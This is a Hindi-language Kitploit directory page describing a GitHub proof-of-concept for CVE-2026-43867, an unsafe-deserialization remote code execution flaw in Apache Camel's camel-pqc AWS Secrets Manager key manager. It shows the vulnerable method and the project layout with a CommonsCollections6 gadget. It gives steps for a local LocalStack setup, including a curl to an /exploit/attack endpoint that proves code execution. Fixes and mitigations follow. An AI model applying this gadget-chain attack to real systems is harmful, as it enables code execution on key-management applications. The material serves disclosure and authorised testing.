Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-43867 — Reproducer for CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager unsafe key-metadata deserialization (RCE) | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-43867
Vulnerability AnalysisCode AnalysisExploitationCloud SecurityBinary Exploitation
GitHuboscerd/cve-2026-43867

CVE-2026-43867

Reproducer for CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager unsafe key-metadata deserialization (RCE)

रिपॉजिटरी देखें
1 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-pqc AWS Secrets Manager Key-Metadata असुरक्षित डिसीरियलाइज़ेशन पुनरुत्पादक (CVE-2026-43867)

यह प्रोजेक्ट Apache Camel के camel-pqc घटक में एक जावा डिसीरियलाइज़ेशन भेद्यता प्रदर्शित करता है, जिसे CVE-2026-43867 के रूप में ट्रैक किया गया है। AwsSecretsManagerKeyLifecycleManager.deserializeMetadata() AWS Secrets Manager सीक्रेट से संग्रहीत पोस्ट-क्वांटम कुंजी मेटाडेटा को Base64-डिकोड करके और इसे बिना किसी ObjectInputFilter के java.io.ObjectInputStream.readObject() के साथ डिसीरियलाइज़ करके पढ़ता है — KeyMetadata में कास्ट readObject() लौटने के बाद ही होता है, इसलिए readObject() के सभी साइड इफेक्ट पहले चलते हैं। एक प्रिंसिपल जो उस सीक्रेट (secretsmanager:PutSecretValue) पर लिख सकता है, वह एक निर्मित सीरियलाइज़्ड ऑब्जेक्ट संग्रहीत कर सकता है जो सामान्य कुंजी-जीवनचक्र संचालन के दौरान डिसीरियलाइज़ होता है, जो संभावित रूप से कोड निष्पादन की ओर ले जाता है।

परामर्श: https://camel.apache.org/security/CVE-2026-43867.html

भेद्यता सारांश

यही दोष CVE-2026-46590 (स्वतंत्र रूप से रिपोर्ट किया गया; उस परामर्श में HashiCorp Vault और फ़ाइल-आधारित सहायक प्रबंधक भी शामिल हैं), और CVE-2026-40048 (CAMEL-23200) का अपूर्ण-सुधार अनुवर्ती है, जिसने FileBasedKeyLifecycleManager को JSON/PKCS#8/X.509 प्रारूप में बदल दिया लेकिन कोई ObjectInputFilter नहीं जोड़ा और AWS/Vault प्रबंधकों को कवर नहीं किया।

तकनीकी विवरण

root@kitploit:~
// AwsSecretsManagerKeyLifecycleManager - प्रभावित 4.18.2
private KeyMetadata deserializeMetadata(String base64) throws Exception {
    byte[] data = Base64.getDecoder().decode(base64);
    ByteArrayInputStream bais = new ByteArrayInputStream(data);
    try (ObjectInputStream ois = new ObjectInputStream(bais)) {   // कोई ObjectInputFilter नहीं
        return (KeyMetadata) ois.readObject();                    // गैजेट यहाँ फायर होता है, कास्ट से पहले
    }
}

getKeyMetadata(keyId) <keyPrefix>/<keyId>/metadata नामक सीक्रेट को पढ़ता है, इसके JSON आवरण ({"metadata":"<base64>","keyId":...,"algorithm":...}) को पार्स करता है, और metadata फ़ील्ड को deserializeMetadata को भेजता है। फिक्स (4.18.3 / 4.21.0) एक साझा KeyMetadataCodec पेश करता है जो सभी प्रबंधकों के लिए मेटाडेटा को JSON के रूप में संग्रहीत करता है और एक अनुमति-सूची ObjectInputFilter के साथ शेष विरासत ObjectInputStream रीड को बाधित करता है।

हमलावर बनाम पीड़ित

पीड़ित वह एप्लिकेशन है जो AWS प्रबंधक के साथ PQC कुंजियों का प्रबंधन करता है। हमलावर वह प्रिंसिपल है जो मेटाडेटा सीक्रेट (secretsmanager:PutSecretValue) लिख सकता है। यह PoC AWS Secrets Manager को अनुकरण करने के लिए LocalStack का उपयोग करता है; /exploit/attack एंडपॉइंट एक निर्मित मेटाडेटा सीक्रेट लिखता है और फिर प्रबंधक के रीड पथ को चलाता है।

root@kitploit:~
CVE-2026-43867/
├── pom.xml                 # camel-pqc 4.18.2 + aws-sdk secretsmanager 2.41.28 + commons-collections 3.2.1
├── Dockerfile              # ऐप चलाता है (गैजेट निर्माण के लिए --add-opens)
├── docker-compose.yml      # LocalStack (Secrets Manager) + पुनरुत्पादक ऐप
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Gadget.java             # CommonsCollections6 गैजेट, readObject() के दौरान फायर करता है
    │   └── ExploitController.java  # निर्मित सीक्रेट लिखता है, फिर getKeyMetadata() कॉल करता है
    └── resources/
        └── application.properties

वास्तविक हमले में सीरियलाइज़्ड बाइट्स हमलावर द्वारा ऑफ़लाइन उत्पन्न की जाती हैं (उदाहरण के लिए ysoserial के साथ)। यह PoC गैजेट को इन-प्रोसेस बनाता है, यही कारण है कि JVM --add-opens java.base/java.util=ALL-UNNAMED के साथ चलता है — यह एक गैजेट-निर्माण विवरण है, जो भेद्यता से असंबंधित है।

आवश्यक शर्तें

  • Java 17+ और Maven 3.8+
  • Docker (LocalStack और ऐप चलाता है)

पुनरुत्पादन चरण

चरण 1: सब कुछ बनाएं और शुरू करें

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

यह LocalStack (AWS Secrets Manager का अनुकरण) और पुनरुत्पादक ऐप शुरू करता है, जो अपने AwsSecretsManagerKeyLifecycleManager को एंडपॉइंट ओवरराइड के माध्यम से LocalStack की ओर इंगित करता है।

चरण 2: डिसीरियलाइज़ेशन ट्रिगर करें (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Wrote crafted serialized metadata to AWS Secrets Manager secret 'pqc/keys/victim-key/metadata'.
#    getKeyMetadata() threw java.lang.ClassCastException  (expected — the gadget runs during readObject ...)
#
#    >>> RCE proof — /tmp/pwned exists: true

चरण 3: सत्यापित करें

root@kitploit:~
docker exec cve-2026-43867 ls -la /tmp/pwned

सफाई

root@kitploit:~
docker compose down

हमले के वेक्टर

कोई भी एप्लिकेशन जो AwsSecretsManagerKeyLifecycleManager का उपयोग करता है और जिसका कुंजी-मेटाडेटा सीक्रेट एप्लिकेशन के स्वयं के विश्वसनीय पहचान के अलावा किसी अन्य पक्ष द्वारा लिखा जा सकता है। डिसीरियलाइज़ेशन सामान्य कुंजी-जीवनचक्र संचालन (getKeyMetadata, loadExistingKeys, listKeys, रोटेशन जाँच, …) के दौरान चलता है।

शोषण की स्थितियाँ

  1. प्रभावित संस्करण पर camel-pqc के AwsSecretsManagerKeyLifecycleManager का उपयोग करने वाला एप्लिकेशन।
  2. हमलावर मेटाडेटा सीक्रेट (secretsmanager:PutSecretValue उस पर) लिख सकता है।
  3. क्लासपाथ पर एक गैजेट लाइब्रेरी (यहाँ commons-collections:3.2.1)।

अनुशंसित समाधान

4.18.3 / 4.21.0 (CAMEL-23726) में अपग्रेड करें। मेटाडेटा JSON के रूप में संग्रहीत किया जाता है और किसी भी शेष विरासत ObjectInputStream रीड को एक अनुमति-सूची ObjectInputFilter द्वारा बाधित किया जाता है।

शमन

अपग्रेड करने तक:

  1. एप्लिकेशन की अपनी पहचान (न्यूनतम-विशेषाधिकार IAM) के लिए camel-pqc मेटाडेटा सीक्रेट पर secretsmanager:PutSecretValue प्रतिबंधित करें।
  2. PQC कुंजी सामग्री को किसी भी कम विश्वसनीय प्रिंसिपल द्वारा लिखे जा सकने वाले डेटा से अलग सीक्रेट में रखें।
  3. क्लासपाथ से गैजेट लाइब्रेरी हटाएं (commons-collections 3.x और समान को अपग्रेड/हटाएं)।

अस्वीकरण

यह पुनरुत्पादक सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए, एक सार्वजनिक रूप से प्रकट और सुधारित भेद्यता के लिए प्रदान किया गया है। इसका उपयोग बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध न करें।

टूल डाउनलोड करें
गुणमूल्य
घटकcamel-pqc (AwsSecretsManagerKeyLifecycleManager)
प्रभावित क्लासorg.apache.camel.component.pqc.lifecycle.AwsSecretsManagerKeyLifecycleManager#deserializeMetadata
CWECWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
प्रभावकुंजी-प्रबंधन एप्लिकेशन में कोड निष्पादन (मेटाडेटा सीक्रेट पर लिखने की पहुंच आवश्यक)
प्रभावित संस्करण4.18.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले
सुधारित संस्करण4.18.3, 4.21.0 (camel-pqc 4.14.x LTS लाइन पर नहीं है)
JIRACAMEL-23726
रिपोर्टरवेंकटरमन कुमार (Securin)